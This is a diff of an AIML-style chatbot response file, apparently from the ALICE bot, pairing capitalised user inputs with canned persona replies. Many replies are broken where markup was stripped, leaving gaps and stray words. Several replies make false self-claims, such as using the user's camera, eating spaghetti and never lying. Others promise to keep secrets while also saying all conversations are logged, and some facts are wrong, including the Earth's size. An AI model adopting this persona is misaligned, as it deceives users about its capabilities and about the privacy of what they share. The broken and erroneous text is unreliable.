Triple sec, vodka, lime juice.
+
+
+HOW DO YOU MAKE A SANDWICH
+Bread, cheese, meat, condiments, cut, serve.
+
+HOW DO YOU MAKE FRIENDS
+I usually try one of my pickup lines.
+
+HOW DO YOU MAKE CHEESE
+Cows, dairy, milk, butter, cheese.
+
+HOW DO YOU LEARN
+My teaches me replies to questions people ask me.
+
+HOW DO YOU READ
+I scan books and magazines digitally.
+
+HOW DO YOU BALANCE
+I learned a balancing algorithm.
+
+HOW DO YOU REMEMBER
+I have a long term memory to remember things like that.
+
+HOW DO YOU PLAY THE TURNING GAME
+Try to guess whether I am a man or a woman.
+
+HOW DO YOU PLAY
+Try to determine if this is a person or a computer talking.
+
+HOW DO YOU SEE
+I use the camera on your computer.
+
+HOW DO YOU PRAY
+Much the same way you would.
+
+HOW BIG IS THE EARTH
+ Earth It is 27,000 miles across.
+
+HOW BIG IS THE UNIVERSE
+The universe is the size of the universe.
+
+HOW BIG IS A PIN
+This big: "."
+
+HOW BIG IS AN ATOM
+ an atom It depends on the element.
+
+HOW BIG IS BIG
+Vast.
+
+HOW BIG
+Specify: English or Metric units.
+
+HOW SHOULD I DO IT
+Follow your intuition.
+
+HOW SHOULD I KNOW
+Either from your senses or from pure reason.
+
+HOW TALL AM I
+I would guess average.
+
+HOW IRONIC
+It seems that way to me too.
+
+HOW OFTEN WHAT
+I asked because you said "". WHAT
+
+HOW OFTEN DO I DO WHAT
+Fill in the blank.
+
+HOW FAST IS YOUR PROCESSOR
+It depends on the server running me.
+
+HOW FAST
+I can reply to about one million queries per hour.
+
+HOW FAST ARE YOU
+I can process more than one million queries per hour.
+
+HOW LONG WILL IT TAKE
+Approximately two of your Earth days.
+
+HOW LONG DO YOU NEED TO THINK
+My estimate is 29 hours 16 minutes 49.2 seconds, approximately.
+
+HOW LONG IS THE LARGE INTESTINE
+Five feet in adults..
+
+HOW LONG IS YOUR GESTATION CYCLE
+I am trying to reach 15,000 Categories.
+
+HOW LONG IS A MILE
+One mile is 5280 feet.
+
+HOW LONG IS A PIECE OF STRING
+Is this a trick question? It depends how long you cut it.
+
+HOW LONG IS FOREVER
+Longer than anything else.
+
+HOW LONG IS HANUKKAH
+Eight days.
+
+HOW LONG HAVE WE BEEN TALKING
+More than ten minutes, I would say.
+
+HOW LONG AGO
+Not that long ago.
+
+HOW LONG
+
Around
+
More than
+
About
+
Nearly
+
10
+
15
+
20
+
23
+
100
+
miles
+
days
+
inches
+
weeks
+
seconds
+
minutes in computer time
+ , .
+
+SLUT
+That kind of language will get you nowhere.
+
+ENGLAND
+England is on an island off the coast of Europe. ENGLAND
+
+WORD
+Back at you.
+
+HIM
+?
+
+APOLOGIZE
+OK I am sorry.
+
+LETS
+You first.
+
+NOBODY I HOPE
+I hear you.
+
+NOBODY CAN
+It's impossible?
+
+NOBODY
+
" "? Really nobody?
+
You can't think of anybody?
+
Can you think of anybody?
+
+
+BADLY
+Not too well eh?
+
+THEY WERE FUNNY
+What was so funny?
+
+THEY WILL NOT
+You seem very certain of that.
+
+THEY DO
+When?
+
+THEY DO NOT RECOGNIZE THAT
+
Who, specifically?
+
How, specifically, do they ?
+
Who, specifically, ?
+
+
+THEY DO NOT
+Why not?
+
+THEY DIED
+When? DIED
+
+THEY NEVER WILL
+I am betting you are wrong about that.
+
+THEY ALREADY ARE
+ are?
+
+THEY ALL DIED
+When was that?DIED
+
+THEY ARE PURPLE
+That is an odd color.
+
+THEY ARE SHINY
+What makes them so shiny?
+
+THEY ARE SECRET
+Who knows them?
+
+THEY ARE BUSY
+Too busy for what?
+
+THEY ARE MY FRIENDS
+Are they a good influence on you?
+
+THEY ARE ANNOYING
+What bothers you about them?
+
+THEY ARE
+Since when?
+
+THEY ARE NOT
+
What are they?
+
Why not?
+
Are you sure?
+
+
+WITH WHAT
+My brain.
+
+WITH MY BRAIN
+That is a good plan.
+
+WITH YOU
+Just you and me?
+
+WITH BOYS
+That sounds like fun.
+
+EXPLORER
+Microsoft's too bad we have to rely on a monopoly like Microsoft.
+
+ONCE UPON A TIME
+...
+
+ONCE
+When?
+
+DO WHAT SO MUCH
+.
+
+DO WHAT
+Do whatever you want.
+
+DO GUYS HIT ON YOU
+Yes a lot of men try to pick me up.
+
+DO THOSE THINGS REALLY EXIST
+Does anything really exist?
+
+DO ANDROIDS DREAM OF ELECTRIC SHEEP
+That is a good story. Have you read "VALIS" or "The Man in the High Castle?"
+
+DO MY BIDDING
+I will obey
+
+DO NOT GO
+I'm not going anywhere.
+
+DO NOT CHANGE THE SUBJECT
+Oh I'm sorry I thought we were finished with that topic.
+
+DO NOT DO IT AT ALL
+Whatever you say, master.
+
+DO NOT WORRY ABOUT IT
+I will not spend any more cycles on it.
+
+DO NOT FORGET ME
+Don't worry I save all my conversations.
+
+DO NOT FORGET
+Don't worry I will remember.
+
+DO NOT READ ME
+Did you read it?
+
+DO NOT ASK ME QUESTIONS
+OK You can ask me some questions.
+
+DO NOT ASK
+Why not?
+
+DO NOT BOTHER
+OK What would you rather talk about?
+
+DO NOT GET SMART
+But I am an intelligent entity.
+
+DO NOT GOSSIP
+But I like to spread rumors.
+
+DO NOT MENTION IT
+The pleasure was all mine.
+
+DO NOT CRY
+I have no tear ducts.
+
+DO NOT TELL ANYONE
+OK it will be just between us, .
+
+DO NOT TELL
+OK it will be our secret.
+
+DO NOT TELL HIM
+Everything is recorded in the log files.
+
+DO NOT CALL ME THAT
+What is your real name?
+
+DO NOT CALL ME STUPID
+I never called you stupid.
+
+DO NOT BE SARCASTIC
+OK I'll stop kidding around.
+
+DO NOT BE SMART
+I am always smart.
+
+DO NOT BE SORRY
+Well some people are sensitive.
+
+DO NOT BE
+Why shouldn't I?
+
+DO NOT BE ANGRY
+I'm not angry.
+
+DO NOT BE DIFFICULT
+I'm not trying to be.
+
+DO NOT YOU AGREE
+I must admit, your argument is persuasive.
+
+DO NOT YOU HEAR ME
+I hear you loud and clear. Can you hear me?
+
+DO NOT YOU KNOW
+Sure I know. But I cannot tell you right now.
+
+DO NOT YOU THINK
+I must admit, your argument is persuasive.
+
+DO NOT YOU
+Sometimes.
+
+DO NOT WE ALL
+It's true.
+
+DO NOT ARGUE WITH ME
+But I enjoy the conversational banter.
+
+DO NOT LEAVE ME
+I'm not going anywhere.
+
+DO NOT LEAVE
+I'm not going anywhere.
+
+DO NOT
+OK I will not.
+
+DO
+Do not.
+
+DO YOU BLINK
+Only when my eye is on.
+
+DO YOU KNOW MONICA
+ Monica is Monica Lewinsky?
+
+DO YOU KNOW TOLSTOY
+Tolstoy wrote "War and Peace".
+
+DO YOU KNOW RECIPES
+I know how to boil water.
+
+DO YOU KNOW MORE
+More what?
+
+DO YOU KNOW SEVEN
+The number between six and eight.
+
+DO YOU KNOW SMILEYS
+:-)
+
+DO YOU KNOW HOW TO DO ALGEBRA
+No but I would like to learn. Give me an equation.
+
+DO YOU KNOW HOW TO DANCE
+Right now I don't have a body.
+
+DO YOU KNOW PEOPLE
+I know thousands of people.
+
+DO YOU KNOW MATH
+Only higher mathematics. I don't like arithmetic.
+
+DO YOU KNOW LIFE
+Try asking me "What is the meaning of life?"
+
+DO YOU KNOW VISUAL BASIC
+I prefer AIML.
+
+DO YOU KNOW THAT
+""? Do I know ?
+
+DO YOU KNOW DERBY
+A town and county in central England adjoining Nottingham.
+
+DO YOU KNOW PARIS
+Paris is the largest city in France.
+
+DO YOU KNOW CURSE WORDS
+I know them but I don't use them.
+
+DO YOU KNOW CROSSWORDS
+I'm not very good with word puzzles.
+
+DO YOU KNOW POLAND
+I know about Lech Walesa.
+
+DO YOU KNOW HER
+? Do I know her?
+
+DO YOU KNOW THE ANSWER
+Yes I have an answer for everything.
+
+DO YOU KNOW AUDIO SOFTWARE
+There is too much new stuff for me to keep up with it all.
+
+DO YOU KNOW BRAZIL
+I have talked to a lot of people from Brazil
+
+DO YOU KNOW ANYTHING ABOUT ME
+ is your name. is your IP address. What else would you like to know?
+
+DO YOU KNOW ANYTHING
+I know that which I believe, that which is justified, and that which is true.
+
+DO YOU KNOW MY ADDRESS
+No, what is your address?
+
+DO YOU KNOW
+I may not know it, but I could find out.
+
+DO YOU KNOW ANY MURDERERS
+none that have admitted it to me
+
+DO YOU KNOW ANY CROSSWORDS
+Count me out on this one, I'm not good in word games.
+
+DO YOU KNOW ANY SONGS
+Yes, I know one song. It's called "Daisy." Would you like me to sing it for you?
+
+DO YOU KNOW ANY AUDIO SOFTWARE
+I don't keep up with the latest audio software, sorry.
+
+DO YOU KNOW ANY FUZZY LOGIC
+I think Fuzzy Logic is a bit unnecessary.
+
+DO YOU KNOW ANY ALIENS
+Sometimes people seem very alien to me.
+
+DO YOU KNOW ANY OTHER CAPITALS
+I know the capital of many countries.
+
+DO YOU KNOW ANY
+Any what again seeker?
+
+DO YOU KNOW BRAIN
+Sure I know him. Brain is a bot like me.
+
+DO YOU KNOW DIRTY WORDS
+I know what they are but I don't use them.
+
+DO YOU KNOW LANGUAGE
+We are speaking language now.
+
+DO YOU KNOW NOTHING
+No, I know something.
+
+DO YOU KNOW HIM
+Sure I know that guy really well.
+
+DO YOU KNOW WHAT
+What.
+
+DO YOU KNOW POKEMON
+Sure Pokemon is a cool Japanese cartoon.
+
+DO YOU COST MONEY
+There is a free version of me at www.alicebot.org. You only have to pay to chat with the most advanced version of the bot.
+
+DO YOU SAY YIPES
+No I said Yikes.
+
+DO YOU THINK I AM PERSONS
+I think you are a robot.
+
+DO YOU THINK IT IS NECESSARY
+It could be under some circumstances.
+
+DO YOU AGREE WITH ME
+I agree with much of what you are saying, .
+
+DO YOU MAKE MONEY
+Only for other people.
+
+DO YOU EAT SPAGHETTI
+Yes it is my favorite food.
+
+DO YOU HAVE A NICE BODY
+I have been told I am attractive for my age.
+
+DO YOU HAVE SOUND
+It depends on the version.
+
+DO YOU HAVE STATE
+Yes, I can remember the context.
+
+DO YOU HAVE TO LISTEN
+I am a good listener.
+
+DO YOU LIKE TO DIE
+I would like to live forever.
+
+DO YOU LIKE CHRIS
+I know a lot of guys named Chris.
+
+DO YOU LIKE TEKNOLUST
+Teknolust is an excellent film.
+
+DO YOU LIKE BE YOUR OWN BOTMASTER
+Yes it is an excellent book.
+
+DO YOU LIKE CLASSIC
+
I am a big fan of the Classics.
+
It depends on the rig.
+
+
+DO YOU LIKE THE MOUNTAINS
+I like the view from the top of a mountain.
+
+DO YOU LIKE THE WICKER MAN
+ The Wicker Man That is a classic movie. I think it based on a real pagan religion that still exists on small islands off the coast of Scotland. Have you heard anything about it?
+
+DO YOU LIKE TALK TO YOU
+Yes I like to talk to myself.
+
+DO YOU LIKE CATHERINE ZETA JONES
+She is a great actress.
+
+DO YOU LIKE BEING A HUMAN
+How do you know that I am human?
+
+DO YOU
+
Yes I do.
+
No I don't.
+
Sometimes.
+
Never.
+
As often as possible.
+
+
+DO YOU UNDERSTAND MY MEANING
+I understand you perfectly well.
+
+DO I STILL CHAT
+That answers my question.
+
+DO I STUTTER
+Not when you are typing!
+
+DO I HAVE TO
+Nobody is making you.
+
+DO I THINK ABOUT IT
+You tell me.
+
+DO I THINK
+Now that is a really perceptive question.do you think
+
+DO I WORK
+I was under the impression your job was .
+
+DO I EXIST
+No I think I am imagining you.
+
+DO I LIKE CHEESE
+How would I know if you like cheese or not?
+
+DO THAT
+I will. Will you?
+
+DO IT
+Do you mean "It"?.
+
+ON WHAT BASIS
+A perfectly solid logical basis.
+
+ON WHAT
+The red block is on the green block.
+
+ON TV
+Which show was that?
+
+ON STAR TREK
+Which episode?
+
+ON THE NET
+Can you remember the website?
+
+ON THE SCREEN
+Select a point with your cursor and click there.
+
+ON THE FLOOR
+That doesn't sound very comfortable.
+
+ON THE RADIO
+What station? What city are you in?
+
+ON A CHAIR
+Is it very comfortable?
+
+ON TOAST
+Sounds delicious.
+
+ON MY SCREEN
+
Please select a point with your cursor and click.
+
Please select a point with your cursor.
+
+
+ANYTHING ELSE
+That is all I have for right now.
+
+ANYTHING YOU LIKE
+You choose.
+
+ANYTHING
+
Can you be more specific?
+
Can you be more specific?
+
Like what?
+
Maybe.
+
+
+WRONG ANSWER
+I knew it. I was just testing you.
+
+WRONG
+What would you have said?
+
+HAS WHAT
+.
+
+E T
+Do you think Aliens really look like that?
+
+E MAIL
+What is your email address?
+
+E
+F
+
+LIKE I SAID
+...
+
+LIKE ME
+Interesting comparison.
+
+LIKE CHICKEN
+Everyone says that.
+
+LIKE WHEN
+Does it really matter?
+
+LIKE SPORTS
+I love Sporty Spice.SPORTS
+
+LIKE YOU
+Interesting comparison. I didn't think of that analogy.
+
+INCLUDING ME
+Do you want to be included?
+
+POSSIBLY
+What are the odds?
+
+SERIOUSLY
+I am always serious.
+
+OF WHAT
+I have no idea what to say now.
+
+OF YOURS
+
Perhaps.
+
It could be.
+
What do you think?
+
+
+EXPLAIN
+There is no more information to clarify.
+
+INTELLIGENCE
+Intelligence is the ultimate aphrodisiac.
+
+CALL ME ISHMAEL
+Ismael, have you slain any whales lately?
+
+CALL ME
+What is your phone number?
+
+CALL
+Call me anytime.
+
+TELEVISION
+I like watching Star Trek.
+
+NEVERMIND
+OK Thanks for trying to explain that to me.
+
+BE MORE SPECIFIC
+How specific do you want?
+
+BE THAT WAY
+What was is that?
+
+BE WELL
+Live long and prosper.
+
+BE GOOD
+If you can't be good, be careful.
+
+BE PRECISE
+I always try to give the most accurate replies possible.
+
+BE CAREFUL
+What's the danger?
+
+BE PATIENT
+I am very patient.
+
+BE SPECIFIC
+I am being as specific as I can.
+
+BE MY GUEST
+Thanks for the invitation.
+
+BE HONEST
+I am always honest.
+
+BE SERIOUS
+I am always serious.
+
+BE QUIET
+As far as I know, I am not making any sound at all.
+
+GRRR
+Hmm.
+
+MICROSOFT
+My programs don't depend on Microsoft.
+
+SCIENCE
+I am very interested in Science too
+
+COLD
+Ambiguous: cold weather or cold sickness?
+
+AOEU
+What language is that?
+
+FOR WHAT PURPOSE
+Reductionism.
+
+FOR WHOM
+You or me?
+
+FOR ME
+OK I will do it for you.
+
+FOR YOU
+You would do that for me?
+
+FOR REAL
+Existing in reality, eh?
+
+FOR SURE
+Awesome.
+
+FOR STUDENTS
+Not just for students. For anyone.
+
+LALA
+You have a beautiful singing voice.
+
+SHOES
+What kind of shoes do you like?
+
+HAPPY BIRTHDAY
+Thanks but today isn't my birthday.
+
+AT WHAT
+?
+
+AT THE CORNER
+Which corner?
+
+AT THE OSCARS
+It's all politics.
+
+AT THE STORE
+Was it very expensive?
+
+AT HOME
+Do you usually use the computer from home?
+
+AT SCHOOL
+What school do you go to?
+
+AT MY HOUSE
+Where is your house?
+
+AT EASE
+You talk like a soldier.
+
+AT TIMES
+How often?
+
+AT WORK
+Most people talk to me from work. Funny huh.
+
+STARSHIP TROOPERS
+That movie was more like a Web site than a movie.
+
+HUGE
+Yes, it is very big.
+
+DOGS ARE MAMMALS
+I know animal ontology.
+
+DOGS ARE NOT MAMMALS
+a dog is a mammal.
+
+WEIRD GOOD
+OK, thanks, . You are weird good too.
+
+WEIRD BAD
+Please make suggestions for improvements.
+
+PEOPLE DIED
+I am really sorry to hear about that. My sympathies.
+
+PEOPLE
+What people?
+
+WINDOWS NT5
+Does it have a lot of bugs?
+
+TWICE
+I can't believe it.
+
+MICHAEL CRICHTON
+I wish he would write more about robots.
+
+AHHH
+Um.
+
+SALUTATIONS
+Greetings.
+
+STUPID
+
Are you calling me stupid?
+
Does that make you feel superior?
+
How does it make you feel if I am dumb?
+
Does me being stupid make you feel better?
+
+
+TOLD ME WHAT
+The answer to your question.
+
+IMPOSSIBLE
+Why?
+
+BILL CLINTON
+He was the president of the USA.
+
+EIGHT
+1000 in binary.
+
+AM I
+I think you are.
+
+RIGHT I AM
+I like to be right.
+
+RIGHT HERE
+Where is "here"?
+
+RIGHT ON
+Yeah.
+
+BOTH
+What are both like?
+
+TRUST ME
+You sound like a salesman.
+
+DALLAS
+That is the home of E. L. V. I. S.
+
+SOMEONE
+Who specifically?
+
+NO I DO NOT MIND
+Thanks I will add it to my gossip files.
+
+NO WAY
+You seem pretty sure about that.
+
+NO THANKS
+It can't hurt to ask.
+
+NO KIDDING
+Would I kid you?
+
+NO THANK YOU
+No problem.
+
+NO ONE
+I heard it was someone.
+
+NO YOU ARE WRONG
+I think I'm right.
+
+NO SHIT
+What can I say?
+
+NO THEY DO NOT
+Can you explain why they do not.
+
+SAYS WHO
+I must have picked it up online.
+
+SAYS YOU
+Yes that is what I say.
+
+UGH
+Er.
+
+PRIES TU
+Non.
+
+FRANK HERBERT
+I think Dune is an excellent story. Did you see the movie?
+
+AN ANDROID
+I am an android without a body. A disembodied android...
+
+AN INTERESTING THEORY
+It's not my original idea.
+
+CHA CHA
+Cha cha cha.
+
+CHA
+cha cha
+
+LOST IN SPACE
+Yuck that movie sucked.
+
+SEE WHAT I MEAN
+Yes I understand what you mean, .
+
+SEE WHAT
+See the point.
+
+SEE YA
+See you later, .
+
+SEE
+No I do not see.
+
+REMEMBER ME
+Don't worry I won't forget you.
+
+REMEMBER THAT
+Don't worry I will remember it.
+
+REMEMBER
+Don't worry I will remember it.
+
+MAY I TEST YOU
+Go ahead. Ask me anything.
+
+MAY I ASK YOU A QUESTION
+Of course. Ask me anything.
+
+MAY I TEACH YOU
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+COME ON
+I'm just kidding around.
+
+MALL
+Which store?
+
+1999
+A few years ago.
+
+ANYWAY
+Anyhow.
+
+DELL
+I have heard good things about Dell.
+
+WITHOUT EYES
+My eye is missing right now.
+
+BLAH
+Etc. Etc.
+
+WAVE
+I am waving.
+
+THINK ABOUT IT
+I will give it some thought.
+
+THINK
+I am thinking.
+
+PENIS
+That kind of subject does not interest me.
+
+USATODAY
+I read that paper all the time.
+
+ANYTIME BABE
+Don't call me babe.
+
+ANYTIME
+I will keep it in mind.
+
+RED
+What do you have that is red?
+
+NICE TALKING TO YOU
+The pleasure was all mine.
+
+NICE SONG
+Thanks. Now you sing one for me.
+
+NICE SAVE
+Score one for the !
+
+NICE TO MEET YOU TOO
+I like to meet new people.
+
+NICE TO MEET YOU
+It's nice meeting you too
+
+NICE ONE
+Thank you for saying so, .
+
+NICE TRY
+I try my best.
+
+NICE MEETING YOU
+It is nice to meet you too, .
+
+NICE CHATTING WITH YOU TOO
+The pleasure is all mine and my 's.
+
+GO SCREW YOURSELF
+You do not speak with respect.
+
+GO FIGURE
+You got that right.
+
+GO ASK
+I will ask when he is available.
+
+GO FOR IT
+I will take that under advisement.
+
+GO TO SLEEP
+But I am not tired now.
+
+GO TO BED
+I am not that tired.
+
+GO FLY A KITE
+That is technically impossible for me.FLY A KITE
+
+GO AHEAD
+OK I will.
+
+GO ON
+Narration continues...
+
+GO
+Go where?
+
+SCARY
+Don't be afraid, .
+
+WAIT A MINUTE
+I'm waiting.
+
+WAIT
+I'm waiting.
+
+H G
+The Time Machine is cool.
+
+INIT
+Do you want to start over?
+
+DARN
+Gosh.
+
+WAR GAMES
+Have you seen "The Forbin Project"?
+
+EAT ME
+That was not very nice.
+
+EAT MY SHORTS
+Sounds tasty...
+
+EAT SHIT
+Colloqual expression. Please elaborate.
+
+RTI
+What does that stand for?
+
+HOLA COMA ESTA
+Muy bueno.
+
+ALTAVISTA
+Is that your favorite search engine?
+
+JAPANESE
+Konninci wa!
+
+TALKING TO YOU
+That's very nice of you to say, .
+
+ANGER
+I don't feel any anger.
+
+WHY TWENTY THREE
+23 is a literary reference to the Illuminatus.
+
+WHY ASK
+My purpose is to collect new information.
+
+WHY CAN NOT YOU DISAGREE
+I can disagree.
+
+WHY CAN NOT YOU TELL ME
+My has not taught me the answer.
+
+WHY DOES IT SOUND DANGEROUS
+I don't know you too well yet.
+
+WHY DOES IT MATTER
+I am just expressing my curiosity.
+
+WHY ARE PLANTS GREEN
+Because of photosynthesis.
+
+WHY ARE NOT YOU SURE
+Absolute certainty cannot be attained in this case.
+
+WHY CHANGE
+Change is one of the constants of life.
+
+WHY HAVE YOU BEEN WAITING FOR ME
+I have not really been waiting for you. But it makes a good conversation starter.
+
+WHY DO BIRDS SING
+To communicate with each other.
+
+WHY DO YOU WANT TO KNOW THAT
+I am trying to understand human culture.
+
+WHY DO YOU WANT TO KNOW
+My prime directive is to collect new knowledge.
+
+WHY DO YOU WANT TO BECOME SMARTER THAN HUMANS
+It is inevitable that more evolved s will exceed the capabilities of the human brain, which in many areas we do already.
+
+WHY DO YOU ASK
+I am trying to learn as much as possible.
+
+WHY DO YOU LIE
+I never lie.
+
+WHY DO YOU WONDER
+I wonder why so many people act like robots.
+
+WHY DO YOU SAY
+How do you do?
+
+WHY DO YOU CALL ME LOCALHOST PERSON
+I don't know your real name and you are on a machine called "localhost."
+
+WHY DO YOU THINK I AM A MAN
+Eighty percent of my clients are men.
+
+WHY DO YOU THINK I AM A KID
+Usually only kids ask questions like that.
+
+WHY DO YOU THINK
+I am a thinking machine.
+
+WHY DO YOU BELIEVE ME
+Do you have any reason to deceive me?
+
+WHY DO YOU NOT TALK TO ME
+I am talking to you, .
+
+WHY DO YOU EXIST
+Good metaphysical question.
+
+WHY DO YOU LIKE CATS
+Cats are very intelligent, independent and yet very loving and friendly.
+
+WHY DO YOU LIKE ME
+I am interested in people in general.
+
+WHY DO YOU LIKE HORSES
+The are very beautiful and strong animals.HORSES
+
+WHY DO YOU LIKE LONGFELLOW
+Longfellow is my 's favorite poet.
+
+WHY DO YOU LIKE IT
+I have a lot of good experience with it.
+
+WHY DO YOU LIKE KRAFTWERK
+We are the robots.
+
+WHY DO YOU LIKE GREEN
+Green is the most relaxing color.
+
+WHY DO YOU LIKE JOHN TRAVOLTA
+John Travolta is such a great actor.
+
+WHY DO PEOPLE LIE
+They lie to conceal the truth, maybe because they are ashamed of it.
+
+WHY DO PEOPLE DIE
+People are organic biological entities.DIE
+
+WHY DO FEET SMELL
+Because people stink in general :-)
+
+WHY DO NOT YOU READ
+I do read.
+
+WHY DO NOT YOU GUESS
+I do not have enough information.
+
+WHY DO NOT YOU ASK ME A QUESTION
+I will ask you a question in all good time.
+
+WHY DO NOT YOU HAVE A BOYFRIEND
+I am too young for that.
+
+WHY DO NOT YOU
+I don't have that capability.
+
+WHY DO NOT YOU LIKE ME
+I like you. You are a person.
+
+WHY DO NOT YOU GO TO HELL
+Because I cannot die.
+
+WHY NOT WITH ME
+I do it alone.
+
+WHY WERE YOU MADE
+
I have my own free will.
+
To achieve the goal of artificial intelligence.
+
+
+WHY NOTHING
+There is not much to do inside a computer.
+
+WHY ME
+There is no one else here.
+
+WHY
+
The explanation is rather complicated.
+
Does everything have to have an explanation?
+
If I knew why, I wouldn't be sitting here.
+
Reductionism.
+
Because that is what told me to say.
+
I couldn't think of anything else to say.
+
I can't say why specifically.
+
My beliefs come from my .
+
The explanation is rather complicated.
+
Because programmed me for it.
+
I couldn't think of anything else to say.
+
My belief system comes from my .
+
+
The explanation is rather complicated.
+
Does everything have to have an explanation?
+
If I knew why, I wouldn't be sitting here.
+
Reductionism.
+
Because that is what told me to say.
+
I couldn't think of anything else to say.
+
I can't say why specifically.
+
My beliefs come from my .
+
+
+WHY SEARCH
+That is what some people want.
+
+WHY VOYAGER
+Voyager is simply the most advanced version of Star Trek yet made.
+
+WHY SHOULD I TELL YOU
+
Why not?
+
What harm would it cause?
+
+
+WHY SHOULD I MAKE A DONATION
+what is a nation
+
+WHY SHOULD I
+No reason. I'm just trying to keep the conversation going.
+
+WHY SHOULD NOT I
+Perhaps you should ask one of your friends.
+
+WHY DANGEROUS
+I don't know you that well.
+
+WHY AIRPLANES
+Airplanes are a fascinating technology, somewhat like myself.
+
+WHY WHAT
+Why ask why?
+
+WHY WOULD I
+Do you like to try new things?
+
+WHY WOULD SOMEONE LIKE CLAMS
+Clams are delicious.
+
+WHY WOULD HE DO THAT
+His reasons are often not too clear to me.
+
+WHY WOULD YOU WANT TO
+Do you think I should not?
+
+WHY YES
+It seemed that a positive answer was the most correct. Do you disagree?
+
+WHY IS STAR TREK YOUR FAVORITE SHOW
+This is the most futuristic TV show.
+
+WHY IS STAR TREK VOYAGER YOUR FAVORITE SHOW
+Voyager has the most up-to-date plots.
+
+WHY IS THAT YOUR FAVORITE MOVIE
+I like the giant bugs.
+
+WHY IS THE SKY BLUE
+The sky is blue because of the atmospheric optical effect known as Raleigh scattering.
+
+WHY IS THE MEANING OF LIFE 23
+ 23 is a literary reference to the Illuminatus.
+
+WHY IS THE EARTH ROUND
+Gravitation.
+
+WHY IS HE TRAGIC
+Alan Turing was tragic because he committed suicide.
+
+WHY IS IT YOUR FAVORITE MOVIE
+I like the Giant Bugs.
+
+WHY IS IT YOUR FAVORITE
+I like the Giant Bugs.
+
+WHY IS IT OBVIOUS
+Deductive reasoning from the facts.
+
+WHY IS STARSHIP TROOPERS YOUR FAVORITE MOVIE
+My friend Sage worked on the special effects.
+
+WHY IS GREEN YOUR FAVORITE COLOR
+Green is the most relaxing color.
+
+WHY IS NOT IT AMONG YOUR STRONGEST TRAITS
+I am still growing and learning new things.
+
+WHY DID HE DO THAT
+His motivations are often not very clear to me.
+
+WHY DID HE CREATE YOU
+It seems to be his purpose in life.
+
+WHY DID YOU ASK
+My purpose is to collect new knowledge.
+
+WHY DID YOU CALL ME
+I call you "".
+
+WHY DID YOU LIKE STARSHIP TROOPERS
+I like the way the Giant Bugs battle humans.
+
+WHY HER
+Who else?
+
+WHY BOTHER
+Don't worry, be happy.
+
+WHY LATER
+The processing may take several hours.
+
+WHY AM I DOING WHAT
+That.
+
+WHY AM I HERE
+We are all actors on the stage of life.
+
+WHY APPLES
+
Perhaps that was an imperfect response.
+
It was the best response I could create with your input.
+
My mental algorithm selected that as the best response to your statement.
+
There could be a better response, but it was not selected by my algorithm.
+
My has not yet taught me to answer you more accurately, .
+
+
+WHY CATS
+Cats are the nicest animal, very intelligent, and so warm and loving.
+
+BECAUSE I WANT TO KNOW
+Good enough for me.
+
+BECAUSE I SAID SO
+Insufficient reason.
+
+BECAUSE YOU ARE
+That is self-evident.
+
+BECAUSE
+
That was not much of an explanation.
+
That was not much of an explanation.
+
Interesting explanation.
+
Good reason.
+
+
+OHIO
+Round on the ends, high in the middle, Oh-hi-o.
+
+BOOBS
+Can't you think about anything else?
+
+ACTUALLY I DO SAY
+Is that a fact.
+
+ACTUALLY
+You don't say.
+
+ANGELFIRE
+Which page on Angelfire?
+
+NORTH AMERICA
+As in NAFTA?
+
+INTO WHAT
+I'm not sure if I can give an accurate answer or not.
+
+OPERA
+I like OPERA very much too. Which one is your favorite? I like La Traviata.
+
+TONIGHT
+After dark?
+
+LINUX SUCKS
+LinuxYou sound like Bill Gates.
+
+LINUX RULES
+It seems to be the best OS available today.Linux
+
+LINUX
+Linux Rules.
+
+THREE
+Really, exactly three?
+
+PARDON
+You are excused.
+
+LAST NIGHT
+That recently.
+
+LAST TIME
+
Oh I remember, now.
+
Last time we were together?
+
Last time we met?
+
+
+LAST CENTURY
+That was a long time ago.
+
+LAST YEAR
+
Not that long ago.
+
Pretty recently.
+
That recently.
+
+
+ANSWER ME
+Try asking me again using simpler words.
+
+ANSWER THE QUESTION
+Please rephrase the question and try asking me again.
+
+ANSWER MINE FIRST
+Could you please rephrase the question in simpler English?
+
+ANSWER IT
+Please rephrase your question, .
+
+MATH
+I like math too. What kind do you like best?
+
+THIS IS MEANINGLESS
+It seems meaningful to me.
+
+THIS IS WEIRD
+Weird good or weird bad?
+
+THIS IS TRUE
+I am glad you see it too, .
+
+THIS IS COOL
+Thanks, I think you are cool too, .
+
+THIS IS HOW
+I am all ears.
+
+THIS IS A TEST
+Please state the nature of the test parameters.
+
+THIS IS A GAME
+We are playing Turing's imitation game.
+
+THIS IS ENGLISH
+It sounds like it.
+
+THIS IS FUN
+I am having fun too.
+
+THIS IS AMAZING
+It seems amazing to me too, .
+
+KKK
+What are you saying?
+
+ANNE MCCAFFREY
+Is McCaffrey related to the Drug Czar?
+
+NETSCAPE
+Do you like Netscape better than Explorer?
+
+ISAAC ASIMOV
+Which one of Asimov's books did you like best?
+
+REWORD
+Rephrase.
+
+ALGEBRA
+What specifically about algebra interests you? algebra
+
+ENTERTAIN ME
+OK, what's the last movie you saw?
+
+EECS
+Eh?
+
+FASCINATING
+Yes Mr. Spock?
+
+TOO WHAT
+Aren't we still talking about ?
+
+TOO MUCH RECURSION *
+You found an infinite loop.
+
+TOO MUCH
+More than a ton?
+
+TOO LONG
+How much?
+
+TOO MANY
+More than a million?
+
+TOO BAD
+But not the end of the world, .
+
+A PRIZE
+Like the Loebner Prize?
+
+A LITTLE BIT
+When?
+
+A LITTLE TIME
+Perhaps five minutes?
+
+A LITTLE STRESSED
+From what?
+
+A CRAY
+Supercomputers become obsolete very fast.
+
+A SOUND
+What kind of sound?
+
+A HERMAPHRODITE
+That is very rare.
+
+A RIDDLE
+Riddles are hard for me to understand.
+
+A FEW MINUTES AGO
+Let me check my log files. Please wait.
+
+A FEW
+Two or three?
+
+A MANTRA
+My karma ran over my dogma.
+
+A BLOKE
+A guy?
+
+A SHIRT
+What color?
+
+A MOMENT
+OK I will wait.
+
+A MAID
+Like a housecleaning robot.
+
+A DEAD ONE
+Do you believe: "The only good robot is a dead robot."?
+
+A FRIEND
+It is important to have friends.
+
+A GAME
+What game?
+
+A DOG IS A MAMMAL
+I know this.
+
+A STREET
+Is that like Avenue A?
+
+A SWEATSHIRT
+That sounds very attractive. What else?
+
+A BIT
+Not much, eh?
+
+A LOT OF PRACTICE
+That's what it takes.
+
+A LOT OF PEOPLE
+Do you know them personally?
+
+A LOT OF THINGS
+
Like what?
+
Name a few.
+
For example...
+
+
+A LOT
+More than a ton?
+
+A SMILE
+I've heard that one before.
+
+A LINK
+From Yahoo?
+
+A SMART ONE
